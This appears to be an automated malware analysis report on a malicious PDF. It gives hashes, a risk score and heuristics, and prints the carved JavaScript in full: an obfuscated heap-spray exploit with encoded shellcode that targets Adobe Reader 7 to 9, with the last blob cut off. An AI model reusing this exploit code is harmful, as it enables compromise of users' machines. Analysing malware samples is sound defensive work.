Malicious PDF — malware analysis report

Static analysis result for SHA-256 bed3a2294a3f94c8…

MALICIOUS

PDF

69.6 KB First seen: 2013-08-13
MD5: bc9f62c3f83700a20b107fae9a67f8d2 SHA-1: 87035490866656375dca2f1f34a644f173869d68 SHA-256: bed3a2294a3f94c84a6b61401ee9c07d482dca02e57b2f023777ecba30c1bbbd
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains multiple embedded JavaScript streams, flagged by heuristics as suspicious. The ML classifier strongly indicates maliciousness. The presence of JavaScript actions and embedded JS streams suggests an attempt to execute code, likely to download and run a secondary payload. The extracted JavaScript files are the primary indicators of this malicious behavior.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9793

Heuristics 5

  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xdp/ In PDF document text
    • http://www.xfa.org/schema/xci/2.6/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.1/In PDF document text

Extracted artifacts 9

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0027_000.js pdf-javascript-stream PDF /JS object 27 at offset 0x6AE2 14998 bytes
SHA-256: 65bd6c3a69f2b44f2279a8efc22e75a479a1b8c679c697e2c9b21eb5d256e7d4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
ver = app.viewerVersion



 var aaa,bbb,ccc,ddd,eee,fff,ggg,hhh;
var vvv="MM";

var uuu="0"+"c";
function urpl(k,sc){
var c = "u";
var kc=k+c;
var re = /MM/g;
sc = sc.replace(re,kc);
return sc;
}




                function z(ppp){ aaa = ppp;}
                function zz(){ bbb = aaa( urpl("%",'MM4141MM4141MM63a5MM4a80MM0000MM4a8aMM2196MM4a80MM1f90MM4a80MM903cMM4a84MMb692MM4a80MM1064MM4a80MM0000MM0000MM0000MM1000MM0000MM0000MM0000MM0000MM0002MM0000MM0102MM0000MM0000MM0000MM63a5MM4a80MM1064MM4a80MM2db2MM4a84MM2ab1MM4a80MM0008MM0000MMa8a6MM4a80MM1f90MM4a80MM9038MM4a84MMb692MM4a80MM1064MM4a80MMffffMMffffMM0000MM0000MM0040MM0000MM0000MM0000MM0000MM0001MM0000MM0000MM63a5MM4a80MM1064MM4a80MM2db2MM4a84MM2ab1MM4a80MM0008MM0000MMa8a6MM4a80MM1f90MM4a80MM9030MM4a84MMb692MM4a80MM1064MM4a80MMffffMMffffMM0022MM0000MM0000MM0000MM0000MM0000MM0000MM0001MM63a5MM4a80MM0004MM4a8aMM2196MM4a80MM63a5MM4a80MM1064MM4a80MM2db2MM4a84MM2ab1MM4a80MM0030MM0000MMa8a6MM4a80MM1f90MM4a80MM0004MM4a8aMMa7d8MM4a80MM63a5MM4a80MM1064MM4a80MM2db2MM4a84MM2ab1MM4a80MM0020MM0000MMa8a6MM4a80MM63a5MM4a80MM1064MM4a80MMaedcMM4a80MM1f90MM4a80MM0034MM0000MMd585MM4a80MM63a5MM4a80MM1064MM4a80MM2db2MM4a84MM2ab1MM4a80MM000aMM0000MMa8a6MM4a80MM1f90MM4a80MM9170MM4a84MMb692MM4a80MMffffMMffffMMffffMMffffMMffffMMffffMM1000MM0000MMeb90MM5e19MMfe8bMMdf8bMMe0b9MM0002MMb200MMfce7MM32acMM34c2MMaaebMMcafeMMf6e2MMd3ffMMe2e8MMffffMMe5ffMM0f4bMM080fMM395fMM50cbMM76beMMbb07MM3e71MM4cb8MM9321MM78b4MM6431MM89f8MM7475MM2dcfMM2221MMa523MMad2aMM20ebMMedaaMM6f2fMM23a4MM93bbMMd931MM783fMMd579MM641aMM0ed2MM3c73MM9346MM0accMMc959MM6c19MM934eMM7cacMMc100MMff7fMM8376MM8f44MMb242MMd08fMMbef9MM7f0bMMb5b8MM6776MM8d9dMM5b93MM461dMM194bMMe58cMM4c35MMb76aMM1f0dMMdd99MMca1cMM918dMM174eMM1599MM5d9cMMde10MM98bfMM45e4MMc540MM82e5MM8c83MMe48dMM058fMMd6ccMMdcdbMMb2b5MMb0b7MMc74eMM438fMMf6c8MMed40MM89a1MMc272MMeb2eMM2bfbMM9edcMM5b28MM761eMM9a03MM9e6aMM7e46MM1d2bMM2635MMd2bbMM995eMM8ebdMMad20MM5185MMf88eMM3997MM8cb2MM973eMM47dfMMae98MM9de6MM4991MMacb6MM89f5MM0f41MMbe84MMa90cMM3df5MMb671MM16f7MM5d78MM9e50MM771cMMed1cMM26d0MMb567MMeba0MM552eMM034eMM6a15MM7501MM02ebMM650cMMf617MM10b3MM6cc3MM9fb6MMd978MMfe9fMM0c8bMM9befMM020eMM080fMM0a09MM340bMM3635MM3037MM3231MM3c33MM3e3dMM383fMM3a39MM243bMM2625MM2027MM2221MM2c23MM2e2dMM282fMM2a29MMef90MMedeeMM5057MM5251MM5c53MM5e5dMM585fMM5a59MM445bMM4645MM2d24MM6225MM2f6cMM3a6dMM252aMM6439MM0c2eMM7610MM709fMM7271MM2173MM93fcMM7802MM7a79MMcd93MM999bMMeb98MMe9b1MMe796MMe593MMeba1MM5aa8MM3883MM696bMMa368MM1b58MMd4deMMdb1eMM9cd7MM53aaMM7bcaMMcef0MMd578MMbfa5MM0f53MM8e90MM64fdMM5ab4MMa90cMMc1b5MMd852MMb24eMMbcb3MMfed7MMed40MM3395MM9cfeMMcef5MMa058MMa2a1MMf95cMM25a1MM2367MM92ecMM15a8MM3e56MM16d2MMd2d1MMa92cMM21e5MMc88aMMdab3MMc4b1MMa6adMMc0edMM3dc1MM84b6MM9b32MMa2efMM47c9MMa88eMM9ca5MM7df3MMa6b4MM03a3MMb688MMad00MM90e1MM8efbMM8ee5MMca83MMe2e1MM991cMM11a5MMc8baMM80bcMM7cebMM1695MM1017MM107bMM1c79MM1f77MM1877MM1a19MM895bMM6940MM8357MM1644MMe706MM8507MM83faMM5ff6MMd880MM50caMMd823MMcdc0MMc3ccMMbd60MMc7c7MM384cMM1dd0MM63acMM486bMM2621MM2c23MM6e47MM7dd0MMa305MM686eMM13deMMd903MM0a14MM1bbbMMa1a3MM0da0MM936aMMc90aMM2e00MMc317MM6a04MMa746MMc547MMd8baMM1fd9MM98c0MM108aMM985fMM8d80MM838cMM1420MM127fMM8586MM602eMM0e64MM6067MM2261MM29eeMM3e14MM2decMM6f7dMM9e80MM631eMM6f1cMM19c4MM637fMM8afbMM6977MM6566MMd964MM7e06MMf578MM6983MM05baMMd7c8MM88e7MM8a8dMMde8bMM49f5MM9ce2MMf738MM37faMMdbf8MMfd36MM52d0MM595bMM595aMM93f2MMf368MMe92eMMfed4MMed2cMMaf81MMde40MM235eMM4047MM5984MM233fMMf6bbMM2937MM2526MM9924MMc6afMM3fadMM973eMMccc7MM4d9dMMe08aMM21ccMM7fc1MM6600MMa567MM1e7aMM9a0cMM16d5MM070eMM0506MM8ea6MM8ce5MM1f18MMe6b4MMb590MM17d0MM97a8MM6de2MM9051MMd0b5MM9051MM1a97MM4702MM6869MMc568MM121aMM6977MM6868MMfdc7MMfd97MMfd97MMfd97MMfd97MMfd97MM1a97MMb31aMM6868MM1468MM967eMMfdc6MM6897MM63c2MM021aMM68b3MM6868MM1cc5MM3bd2MM68c7MM67c2MM2a1aMM68b3MM6868MMd0d8MMa817MMe297MM1c6dMMbb22MM6869MM1c68MMd71aMM6869MM6568MMfd33MMfd97MM1c97MMa71aMM6869MMc668MMc21cMMc557MMc268MMfd4bMMff97MM9717MM9797MM95fdMM97fdMM95fdMM97ffMM9797MM1a57MMb312MM6868MMc768MMc268MM1e77MM53d2MM1250MM69b3MM6868MM9797MM9797MM1a1cMM69d3MM6868MM7e56MMae9dMMb31aMM6869MMe468MMfdeaMM1a97MM23c2MMffc5MM9397MM9797MM121aMM6db3MM6868MM1cc7MM57daMM68c6MM73c2MMd250MM973fMM9797MM7c97MM1c9eMM3fc2MM5514MM1e96MM3fc2MMea16MM973fMM9793MMe497MM1c8aMM3fd2MM2998MM921bMM6db3MM6868MM6616MM9700MM9797MMc21cMM1f3fMM821bMM6db3MM6868MM467cMM97fdMMd21aMMc727MMda1cMMc623MM021aMM6db3MM6868MM1cc5MM53d2MM68c7MM7fc2MM1a1cMM69b3MM6868MM5614MM1e96MMb31aMM6869MM7e68MM68e5MM6868MM021cMM69b3MM6868MM7556MM1c9dMMd312MM6869MMbc68MM1255MM9857MM1413MM9797MMfd97MM1a97MM23daMM1cc6MMb302MM6869MM5668MM9d75MM121cMM69d3MM6868MM55bcMM1ac7MMb31aMM686dMMc668MMc21cMMc557MMc268MM5073MM3fd2MM9797MM9797MM9e7cMMd21cMM143fMM9657MMd21eMM1c3fMMb31aMM6869MM5668MM9d76MM021cMM69d3MM6868MM46bcMMc2aeMMe43fMM1c8aMM3fd2MM2998MM921bMM6db3MM6868MM6616MM9700MM9797MMc21cMM1f3fMM821bMM6db3MM6868MM537cMM97fdMMd21aMMc727MMda1cMMc623MM021aMM6db3MM6868MM1cc5MM53d2MM68c7MM7fc2MMda1cMMc653MMc268MM1a7bMM772aMM6869MMa468MM2e57MM9786MM9797MM3c65MM2a1aMM69c7MM6868MMd0d8MMa817MMe297MM176dMMb790MM51d0MMb590MM221aMM68b3MM6868MMd0d9MM1dd1MM1f89MM1788MM97a9MM62e2MM9051MMd0b5MM9051MM1a97MM4702MM6869MMc568MM121aMM6977MM6868MMfdc7MMfd97MMfd97MMfd97MMfd97MMfd97MM1a97MMc71aMM6869MMc668MM97fdMMc268MM1c63MM57c2MM68c5MM7bc2MMc268MM1e6fMM2bd2MM97fdMMd21cMMc72bMMc268MMc66bMM1cc1MMabe4MMe31cMMef89MM6494MM1cc1MMb7e1MM6494MM5ea4MMdec4MM3ad6MM94ccMMc454MM4ca4MM2998MMad87MMe341MM569fMM905cMM4d94MM7cd7MMac66MMe288MMcd72MM1cc9MMb3c9MM4d94MM1cf1MMdc9bMMc91cMM948bMM1c4dMM1c93MM5594MM1ac0MM472aMM6868MM1c68MM5bdaMM5014MM7593MM3c6cMM14c8MM9350MM4d1cMMcec9MMd268MM545bMM267fMM686dMM7a68MM6838MM1923MM9d84MMd43bMM3b29MM044cMM73a5MM2503MM98a1MM5384MM881aMMc0e3MM9af1MMae68MMea75MM5e14MM312bMM2cfcMMb871MM18adMM8f65MM4cf6MM94afMM9797MM9657MM0a97MM96a3MM9e97MM9797MM6f97MM97d4MM9e97MM9797MMcf97MM97bdMMcf97MM967dMMf697MMf6f6MMb9f6MMf3e7MM97f1MMf5f6MMf3f4MMe7b9MMf1f3MM9797MM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM4c00MMac01MMd200MM5501MM0a00MM6663MM3831MM3030MM3030MM3063MM3063MM3039MM3737MM6530MM3839MM6538MM3833MM3862MM3') );}
                function zzz(){ ccc = aaa( urpl("%",vvv)+uuu+uuu );ccc+=ccc;}
                function zzzz(){while (ccc.length + 20 + 8 < 65536) ccc+=ccc;}
                function zzzzz(){ddd = ccc["substring"](0, (0x0c0c-0x24)/2);}
                function zzzzzz(){ddd += bbb;}
                function zzzzzzz(){ddd += ccc;}
                function zzzzzzzz(){eee = ddd["substring"](0, 65536/2);}
                function zzzzzzzzz(){while(eee.length < 0x80000) eee += eee;}
                function zzzzzzzzzz(){fff = eee["substring"](0, 0x80000 - (0x1020-0x08) / 2);}
                function zzzzzzzzzzz(){ggg = new Array();}
                function zzzzzzzzzzzz(){for (hhh=0;hhh<0x1f0;hhh++) ggg[hhh]=fff+"s";}
                
function spray_heap9(ppp)
     {
           z(ppp);zz();zzz();zzzz();zzzzz();zzzzzz();zzzzzzz();zzzzzzzz();zzzzzzzzz();zzzzzzzzzz();zzzzzzzzzzz();zzzzzzzzzzzz();          
     }

                

        
function zy8()
{
bbb = aaa(  urpl("%",'MM4141MM4141MM4141MM4141MM4141MM4141MM17f2MM4a82MM5000MM4a84MM630fMM4a80MM7ec9MM4a81MM203cMM4a82MM57bcMM4a80MM156aMM4a82MM0000MM0000MM0000MM1000MM0000MM0000MM0000MM0000MM0002MM0000MM0102MM0000MM0000MM0000MM17f2MM4a82MM156aMM4a82MMfe83MM4a81MMe982MM4a81MM0008MM0000MM597dMM4a80MM7ec9MM4a81MM2038MM4a82MM57bcMM4a80MM156aMM4a82MMffffMMffffMM0000MM0000MM0040MM0000MM0000MM0000MM0000MM0001MM0000MM0000MM17f2MM4a82MM156aMM4a82MMfe83MM4a81MMe982MM4a81MM0008MM0000MM597dMM4a80MM7ec9MM4a81MM2030MM4a82MM57bcMM4a80MM156aMM4a82MMffffMMffffMM0022MM0000MM0000MM0000MM0000MM0000MM0000MM0001MM17f2MM4a82MM5004MM4a84MM630fMM4a80MM17f2MM4a82MM156aMM4a82MMfe83MM4a81MMe982MM4a81MM0030MM0000MM597dMM4a80MM7ec9MM4a81MM5004MM4a84MMa649MM4a81MM17f2MM4a82MM156aMM4a82MMfe83MM4a81MMe982MM4a81MM0020MM0000MM597dMM4a80MM17f2MM4a82MM156aMM4a82MM00a0MM4a82MM7ec9MM4a81MM0034MM0000MM795aMM4a80MM17f2MM4a82MM156aMM4a82MMfe83MM4a81MMe982MM4a81MM000aMM0000MM597dMM4a80MM7ec9MM4a81MM2140MM4a82MM57bcMM4a80MMffffMMffffMMffffMMffffMMffffMMffffMM1000MM0000MMeb90MM5e19MMfe8bMMdf8bMMe0b9MM0002MMb200MMfce7MM32acMM34c2MMaaebMMcafeMMf6e2MMd3ffMMe2e8MMffffMMe5ffMM0f4bMM080fMM395fMM50cbMM76beMMbb07MM3e71MM4cb8MM9321MM78b4MM6431MM89f8MM7475MM2dcfMM2221MMa523MMad2aMM20ebMMedaaMM6f2fMM23a4MM93bbMMd931MM783fMMd579MM641aMM0ed2MM3c73MM9346MM0accMMc959MM6c19MM934eMM7cacMMc100MMff7fMM8376MM8f44MMb242MMd08fMMbef9MM7f0bMMb5b8MM6776MM8d9dMM5b93MM461dMM194bMMe58cMM4c35MMb76aMM1f0dMMdd99MMca1cMM918dMM174eMM1599MM5d9cMMde10MM98bfMM45e4MMc540MM82e5MM8c83MMe48dMM058fMMd6ccMMdcdbMMb2b5MMb0b7MMc74eMM438fMMf6c8MMed40MM89a1MMc272MMeb2eMM2bfbMM9edcMM5b28MM761eMM9a03MM9e6aMM7e46MM1d2bMM2635MMd2bbMM995eMM8ebdMMad20MM5185MMf88eMM3997MM8cb2MM973eMM47dfMMae98MM9de6MM4991MMacb6MM89f5MM0f41MMbe84MMa90cMM3df5MMb671MM16f7MM5d78MM9e50MM771cMMed1cMM26d0MMb567MMeba0MM552eMM034eMM6a15MM7501MM02ebMM650cMMf617MM10b3MM6cc3MM9fb6MMd978MMfe9fMM0c8bMM9befMM020eMM080fMM0a09MM340bMM3635MM3037MM3231MM3c33MM3e3dMM383fMM3a39MM243bMM2625MM2027MM2221MM2c23MM2e2dMM282fMM2a29MMef90MMedeeMM5057MM5251MM5c53MM5e5dMM585fMM5a59MM445bMM4645MM2d24MM6225MM2f6cMM3a6dMM252aMM6439MM0c2eMM7610MM709fMM7271MM2173MM93fcMM7802MM7a79MMcd93MM999bMMeb98MMe9b1MMe796MMe593MMeba1MM5aa8MM3883MM696bMMa368MM1b58MMd4deMMdb1eMM9cd7MM53aaMM7bcaMMcef0MMd578MMbfa5MM0f53MM8e90MM64fdMM5ab4MMa90cMMc1b5MMd852MMb24eMMbcb3MMfed7MMed40MM3395MM9cfeMMcef5MMa058MMa2a1MMf95cMM25a1MM2367MM92ecMM15a8MM3e56MM16d2MMd2d1MMa92cMM21e5MMc88aMMdab3MMc4b1MMa6adMMc0edMM3dc1MM84b6MM9b32MMa2efMM47c9MMa88eMM9ca5MM7df3MMa6b4MM03a3MMb688MMad00MM90e1MM8efbMM8ee5MMca83MMe2e1MM991cMM11a5MMc8baMM80bcMM7cebMM1695MM1017MM107bMM1c79MM1f77MM1877MM1a19MM895bMM6940MM8357MM1644MMe706MM8507MM83faMM5ff6MMd880MM50caMMd823MMcdc0MMc3ccMMbd60MMc7c7MM384cMM1dd0MM63acMM486bMM2621MM2c23MM6e47MM7dd0MMa305MM686eMM13deMMd903MM0a14MM1bbbMMa1a3MM0da0MM936aMMc90aMM2e00MMc317MM6a04MMa746MMc547MMd8baMM1fd9MM98c0MM108aMM985fMM8d80MM838cMM1420MM127fMM8586MM602eMM0e64MM6067MM2261MM29eeMM3e14MM2decMM6f7dMM9e80MM631eMM6f1cMM19c4MM637fMM8afbMM6977MM6566MMd964MM7e06MMf578MM6983MM05baMMd7c8MM88e7MM8a8dMMde8bMM49f5MM9ce2MMf738MM37faMMdbf8MMfd36MM52d0MM595bMM595aMM93f2MMf368MMe92eMMfed4MMed2cMMaf81MMde40MM235eMM4047MM5984MM233fMMf6bbMM2937MM2526MM9924MMc6afMM3fadMM973eMMccc7MM4d9dMMe08aMM21ccMM7fc1MM6600MMa567MM1e7aMM9a0cMM16d5MM070eMM0506MM8ea6MM8ce5MM1f18MMe6b4MMb590MM17d0MM97a8MM6de2MM9051MMd0b5MM9051MM1a97MM4702MM6869MMc568MM121aMM6977MM6868MMfdc7MMfd97MMfd97MMfd97MMfd97MMfd97MM1a97MMb31aMM6868MM1468MM967eMMfdc6MM6897MM63c2MM021aMM68b3MM6868MM1cc5MM3bd2MM68c7MM67c2MM2a1aMM68b3MM6868MMd0d8MMa817MMe297MM1c6dMMbb22MM6869MM1c68MMd71aMM6869MM6568MMfd33MMfd97MM1c97MMa71aMM6869MMc668MMc21cMMc557MMc268MMfd4bMMff97MM9717MM9797MM95fdMM97fdMM95fdMM97ffMM9797MM1a57MMb312MM6868MMc768MMc268MM1e77MM53d2MM1250MM69b3MM6868MM9797MM9797MM1a1cMM69d3MM6868MM7e56MMae9dMMb31aMM6869MMe468MMfdeaMM1a97MM23c2MMffc5MM9397MM9797MM121aMM6db3MM6868MM1cc7MM57daMM68c6MM73c2MMd250MM973fMM9797MM7c97MM1c9eMM3fc2MM5514MM1e96MM3fc2MMea16MM973fMM9793MMe497MM1c8aMM3fd2MM2998MM921bMM6db3MM6868MM6616MM9700MM9797MMc21cMM1f3fMM821bMM6db3MM6868MM467cMM97fdMMd21aMMc727MMda1cMMc623MM021aMM6db3MM6868MM1cc5MM53d2MM68c7MM7fc2MM1a1cMM69b3MM6868MM5614MM1e96MMb31aMM6869MM7e68MM68e5MM6868MM021cMM69b3MM6868MM7556MM1c9dMMd312MM6869MMbc68MM1255MM9857MM1413MM9797MMfd97MM1a97MM23daMM1cc6MMb302MM6869MM5668MM9d75MM121cMM69d3MM6868MM55bcMM1ac7MMb31aMM686dMMc668MMc21cMMc557MMc268MM5073MM3fd2MM9797MM9797MM9e7cMMd21cMM143fMM9657MMd21eMM1c3fMMb31aMM6869MM5668MM9d76MM021cMM69d3MM6868MM46bcMMc2aeMMe43fMM1c8aMM3fd2MM2998MM921bMM6db3MM6868MM6616MM9700MM9797MMc21cMM1f3fMM821bMM6db3MM6868MM537cMM97fdMMd21aMMc727MMda1cMMc623MM021aMM6db3MM6868MM1cc5MM53d2MM68c7MM7fc2MMda1cMMc653MMc268MM1a7bMM772aMM6869MMa468MM2e57MM9786MM9797MM3c65MM2a1aMM69c7MM6868MMd0d8MMa817MMe297MM176dMMb790MM51d0MMb590MM221aMM68b3MM6868MMd0d9MM1dd1MM1f89MM1788MM97a9MM62e2MM9051MMd0b5MM9051MM1a97MM4702MM6869MMc568MM121aMM6977MM6868MMfdc7MMfd97MMfd97MMfd97MMfd97MMfd97MM1a97MMc71aMM6869MMc668MM97fdMMc268MM1c63MM57c2MM68c5MM7bc2MMc268MM1e6fMM2bd2MM97fdMMd21cMMc72bMMc268MMc66bMM1cc1MMabe4MMe31cMMef89MM6494MM1cc1MMb7e1MM6494MM5ea4MMdec4MM3ad6MM94ccMMc454MM4ca4MM2998MMad87MMe341MM569fMM905cMM4d94MM7cd7MMac66MMe288MMcd72MM1cc9MMb3c9MM4d94MM1cf1MMdc9bMMc91cMM948bMM1c4dMM1c93MM5594MM1ac0MM472aMM6868MM1c68MM5bdaMM5014MM7593MM3c6cMM14c8MM9350MM4d1cMMcec9MMd268MM545bMM267fMM686dMM7a68MM6838MM1923MM9d84MMd43bMM3b29MM044cMM73a5MM2503MM98a1MM5384MM881aMMc0e3MM9af1MMae68MMea75MM5e14MM312bMM2cfcMMb871MM18adMM8f65MM4cf6MM94afMM9797MM9657MM0a97MM96a3MM9e97MM9797MM6f97MM97d4MM9e97MM9797MMcf97MM97bdMMcf97MM967dMMf697MMf6f6MMb9f6MMf3e7MM97f1MMf5f6MMf3f4MMe7b9MMf1f3MM9797MM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM9b9bMM4c00MMac01MMd200MM5501MM0a00MM6663MM3831MM3030MM3030MM3063MM3063MM3039MM3737MM6530MM3839MM6538MM3833MM3862MM31' ));
}
function spray_heap8(ppp)
{
      z(ppp);zy8();zzz();zzzz();zzzzz();zzzzzz();zzzzzzz();zzzzzzzz();zzzzzzzzz();zzzzzzzzzz();zzzzzzzzzzz();zzzzzzzzzzzz();  
}

function saga1()
{
   var cWord = this.getPageNthWord(2, 0);
   this.selectPageNthWord(2 , 0);
}
function saga2()
{
   var cWord = this.getPageNthWord(5, 0);
   this.selectPageNthWord(5 , 0);
}
function saga3()
{
   var cWord = this.getPageNthWord(8, 0);
   this.selectPageNthWord(8 , 0);
}




if (ver>9.8)
{
while(1);
}
else
{   if(ver>9.7)
        {   
            while(1);
        }
    
    else
        {
            if(ver>9.6)
               { 
                    while(1);
               }
            else
                {
                    if(ver>=9)
                        {

                            spray_heap9(unescape);
                            saga1()
                        }  
                    else if(ver>=8)
                        {
                            spray_heap8(unescape);
                            saga2();
                        }
                    else if(ver>=7)
                        {
                            spray_heap8(unescape);
                            saga3();
                        }

                        

                }
                
                    
        }
}
javascript_obj0043_001.js pdf-javascript-stream PDF /JS object 43 at offset 0xC8DF 1242 bytes
SHA-256: 2c0b66ec50073178ddc3de2aaf0627ef83819a8f71c118ff3b075b4bd82749fe
Preview script
First 1,000 lines of the extracted script
function xx()
{
var cXMLDoc = "<family name = 'Robat'><grandad id = 'm1' name = 'A.C.' gender='M'><child> m2 </child><personal><income>100000</income></personal></grandad><dad id = 'm2' name = 'Bob' gender='M'><parent> m1 </parent><spouse> m3 </spouse><child> m4 </child><child> m5 </child><child> m6 </child><personal><income>75000</income></personal></dad><mom id = 'm3' name = 'Mary' gender='F'><spouse> m2 </spouse><personal><income>25000</income></personal></mom><daughter id = 'm4' name = 'Sue' gender='F'><parent> m2 </parent><personal><income>40000</income></personal></daughter><son id = 'm5' name = 'Jim' gender='M'><parent> m2 </parent><personal><income>35000</income></personal></son><daughter id = 'm6' name = 'Megan' gender='F'><parent> m2 </parent><personal><income>30000</income></personal></daughter></family>";
var myXML= XMLData.parse( cXMLDoc, false);

// The xfa object is undefined in an Acrobat form.
if ( typeof xfa == "object" ) {
if ( this.dynamicXFAForm )
console.println(" This is a dynamic XML form.");
else
console.println(" This is a static XML form.");
if ( this.XFAForeground )
console.println(" This document has imported artwork");
}
else console.println(" This is an Acrobat form.");
}
javascript_obj0044_002.js pdf-javascript-stream PDF /JS object 44 at offset 0xCDF1 1572 bytes
SHA-256: d8bbcc5984e6bec8996e18881fad0486ff520c9b9f03ee0fb9694ddfc412340d
Preview script
First 1,000 lines of the extracted script
function yy()
{
var cXMLDoc = "<family name = 'Robat'><grandad id = 'm1' name = 'A.C.' gender='M'><child> m2 </child><personal><income>100000</income></personal></grandad><dad id = 'm2' name = 'Bob' gender='M'><parent> m1 </parent><spouse> m3 </spouse><child> m4 </child><child> m5 </child><child> m6 </child><personal><income>75000</income></personal></dad><mom id = 'm3' name = 'Mary' gender='F'><spouse> m2 </spouse><personal><income>25000</income></personal></mom><daughter id = 'm4' name = 'Sue' gender='F'><parent> m2 </parent><personal><income>40000</income></personal></daughter><son id = 'm5' name = 'Jim' gender='M'><parent> m2 </parent><personal><income>35000</income></personal></son><daughter id = 'm6' name = 'Megan' gender='F'><parent> m2 </parent><personal><income>30000</income></personal></daughter></family>";
var myXML= XMLData.parse( cXMLDoc, false);
console.println("Document name: " + this.documentFileName);
// The xfa object is undefined in an Acrobat form.
if ( typeof xfa == "object" ) {
if ( this.dynamicXFAForm )
console.println(" This is a dynamic XML form.");
else
console.println(" This is a static XML form.");
if ( this.XFAForeground )
console.println(" This document has imported artwork");
}
else console.println(" This is an Acrobat form.");
}
try
{
var aaa = myXML;
var bbb = "cccccccc";
var ccc = "dddddddd";
ddd = ccc.substring(0, (0x0c0c-0x24)/2);
ddd += bbb;
ddd += ccc;              
if (app.viewVersion >=9)
{
asd(myXML);
}
else if (app.viewVersion >=8)
{
bsd(myXML);
}
if (app.viewVersion >=7)
{
csd(myXML);
}
}
catch(e){xx()}
javascript_obj0027_003.js pdf-javascript-stream PDF /JS object 27 at offset 0x6B07 43829 bytes
SHA-256: d20a7c8b828e39067353df109963ba260f6605e87b401f3f7e271105d1a5b148
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
ver = app.viewerVersion



 var aaa,bbb,ccc,ddd,eee,fff,ggg,hhh;
var vvv="MM";

var uuu="0"+"c";
function urpl(k,sc){
var c = "u";
var kc=k+c;
var re = /MM/g;
sc = sc.replace(re,kc);
return sc;
}




                function z(ppp){ aaa = ppp;}
                function zz(){ bbb = aaa( urpl("%",'MM4141MM4141MM63a5MM4a80MM0000MM4a8aMM2196MM4a80MM1f90MM4a80MM903cMM4a84MMb692MM4a80MM1064MM4a80MM0000MM0000MM0000MM1000MM0000MM0000MM0000MM0000MM0002MM0000MM0102MM0000MM0000MM0000MM63a5MM4a80MM1064MM4a80MM2db2MM4a84MM2ab1MM4a80MM0008MM0000MMa8a6MM4a80MM1f90MM4a80MM9038MM4a84MMb692MM4a80MM1064MM4a80MMffffMMffffMM0000MM0000MM0040MM0000MM0000MM0000MM0000MM0001MM0000MM0000MM63a5MM4a80MM1064MM4a80MM2db2MM4a84MM2ab1MM4a80MM0008MM0000MMa8a6MM4a80MM1f90MM4a80MM9030MM4a84MMb692MM4a80MM1064MM4a80MMffffMMffffMM0022MM0000MM0000MM0000MM0000MM0000MM0000MM0001MM63a5MM4a80MM0004MM4a8aMM2196MM4a80MM63a5MM4a80MM1064MM4a80MM2db2MM4a84MM2ab1MM4a80MM0030MM0000MMa8a6MM4a80MM1f90MM4a80MM0004MM4a8aMMa7d8MM4a80MM63a5MM4a80MM1064MM4a80MM2db2MM4a84MM2ab1MM4a80MM0020MM0000MMa8a6MM4a80MM63a5MM4a80MM1064MM4a80MMaedcMM4a80MM1f90MM4a80MM0034MM0000MMd585MM4a80MM63a5MM4a80MM1064MM4a80MM2db2MM4a84MM2ab1MM4a80MM000aMM0000MMa8a6MM4a80MM1f90MM4a80MM9170MM4a84MMb692MM4a80MMffffMMffffMMffffMMffffMMffffMMffffMM1000MM0000MMeb90MM5e19MMfe8bMMdf8bMMe0b9MM0002MMb200MMfce7MM32acMM34c2MMaaebMMcafeMMf6e2MMd3ffMMe2e8MMffffMMe5ffMM0f4bMM080fMM395fMM50cbMM76beMMbb07MM3e71MM4cb8MM9321MM78b4MM6431MM89f8MM7475MM2dcfMM2221MMa523MMad2aMM20ebMMedaaMM6f2fMM23a4MM93bbMMd931MM783fMMd579MM641aMM0ed2MM3c73MM9346MM0accMMc959MM6c19MM934eMM7cacMMc100MMff7fMM8376MM8f44MMb242MMd08fMMbef9MM7f0bMMb5b8MM6776MM8d9dMM5b93MM461dMM194bMMe58cMM4c35MMb76aMM1f0dMMdd99MMca1cMM918dMM174eMM1599MM5d9cMMde10MM98bfMM45e4MMc540MM82e5MM8c83MMe48dMM058fMMd6